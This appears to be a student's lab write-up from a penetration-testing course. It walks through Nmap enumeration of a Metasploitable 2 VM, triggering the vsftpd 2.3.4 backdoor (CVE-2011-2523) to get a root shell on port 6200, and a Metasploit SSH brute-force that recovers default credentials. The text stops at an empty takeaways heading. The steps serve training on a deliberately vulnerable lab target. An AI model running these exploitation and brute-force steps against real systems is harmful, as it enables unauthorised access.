Day 2: Service Enumeration, VSFTPD Backdoor & Metasploit SSH Brute-Force

1. Pre-Flight Connectivity Verification

We booted up both virtual machines in Oracle VM VirtualBox: our Kali Linux attacker VM and the Metasploitable 2 target. Before launching scans, we confirmed mutual network reachability using ICMP:

# Test round-trip network connectivity from Kali Linux
ping -c 4 <metasploitable_ip>

Zero packet loss and immediate reply packets verified that our virtual host-only adapter was routing traffic properly between both machines.

2. Service & Version Enumeration via Nmap

Rather than performing a blind ping sweep or basic port scan, we leveraged Nmap's service detection flag -sV to probe open ports and grab exact application banners and version strings:

# Scan target for open ports and detect service versions
nmap -sV <metasploitable_ip>

The scan results revealed a wide attack surface with multiple exposed daemons:

• Port 21/tcp: FTP • vsftpd 2.3.4
• Port 22/tcp: SSH • OpenSSH 4.7p1 Debian
• Port 23/tcp: Telnet • Linux telnetd
• Port 80/tcp: HTTP • Apache httpd 2.2.8 ((Ubuntu) DAV/2)
• And numerous additional ports (RPC, NetBIOS, MySQL, PostgreSQL, etc.).

3. Web Surface Reconnaissance in Browser

Since Port 80 (HTTP) was open, we navigated to http://<metasploitable_ip> in the browser to explore what web services were hosted.

We investigated various pre-installed applications (e.g., TWiki, phpMyAdmin, DVWA, Mutillidae). We attempted manual testing across login and sign-up interfaces, observing form inputs, cookie headers, and default credential possibilities. While the web interface gave us a high-level map of the target's purpose, manual login attempts did not yield direct administrative access—directing our focus toward the outdated network daemons discovered during the Nmap scan.

4. The Infamous VSFTPD 2.3.4 Backdoor Exploitation (CVE-2011-2523)

Looking closely at our Nmap scan, Port 21 was running vsftpd 2.3.4. Researching this specific version revealed a critical security historical event: the vsftpd 2.3.4 backdoor (tracked as CVE-2011-2523). In July 2011, the official source archive of vsftpd 2.3.4 was compromised with an intentional, malicious supply-chain backdoor.

How CVE-2011-2523 Works:
Whenever a username supplied during FTP authentication ends with the characters :) (a smiley face), the compromised binary triggers a malicious payload: it spawns an interactive command shell with root privileges listening on TCP Port 6200!

Step A: Interacting with FTP & Triggering the Backdoor

We connected to Port 21 of the Metasploitable machine using FTP or Telnet and supplied a username containing the smiley:

# Connect to the FTP daemon
ftp <metasploitable_ip>

# When prompted for Name, enter any username followed by :)
Name (<metasploitable_ip>:kali): user:)
Password: password123

The FTP connection hangs or returns an error, but in the background, the backdoor condition is met and Port 6200 opens immediately on the target.

Step B: Catching the Root Shell via Telnet

From another terminal window in Kali Linux, we connected directly to the spawned backdoor port:

# Connect to the listener spawned on port 6200
telnet <metasploitable_ip> 6200

# Once connected, verify privilege level:
whoami
id

5. Metasploit Framework: SSH Brute-Force Attack

Next, instructors Birendra Sah and Bishal Shrestha introduced us to the Metasploit Framework (MSF) to demonstrate automated credential auditing against Port 22 (SSH).

Step A: Launching MSF & Searching the Auxiliary Scanner

# Launch Metasploit Console
msfconsole

# Search for the SSH login audit module
search ssh_login

# Load the auxiliary scanner module
use auxiliary/scanner/ssh/ssh_login

Step B: Inspecting Module Options

Viewing all configurable parameters for the scanner:

show options

Step C: Preparing Custom Wordlists & Setting Parameters

We prepared wordlist files containing potential usernames and passwords in our working directory (e.g. /root/username.txt and /root/password.txt). Then we configured the module options:

# Set target IP
set RHOSTS <metasploitable_ip>

# Point to username and password wordlists
set USER_FILE /root/username.txt
set PASS_FILE /root/password.txt

# Stop the brute-force as soon as a valid credential pair is discovered
set STOP_ON_SUCCESS true

# Launch the automated attack
run

The auxiliary scanner cycled through the candidate credentials and reported a successful match:
[+] Success: 'msfadmin:msfadmin'

6. Logging In via SSH (Handling Legacy RSA Key Exchange)

With the credentials msfadmin:msfadmin recovered, we opened a new terminal in Kali Linux and attempted a direct SSH connection:

ssh msfadmin@<metasploitable_ip>

Modern versions of OpenSSH inside updated Kali Linux rejected the handshake with an algorithm mismatch error:
Unable to negotiate with <ip> port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss

Because Metasploitable 2 runs an older OpenSSH version that relies on legacy SHA-1 based ssh-rsa keys (which modern OpenSSH disables by default for security), we explicitly enabled the legacy algorithm flags in our client command:

# SSH connection enabling legacy ssh-rsa algorithms
ssh -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa msfadmin@<metasploitable_ip>

# Enter password when prompted:
# Password: msfadmin

The connection succeeded immediately, dropping us into an interactive user session on the target!

7. Day 2 Key Takeaways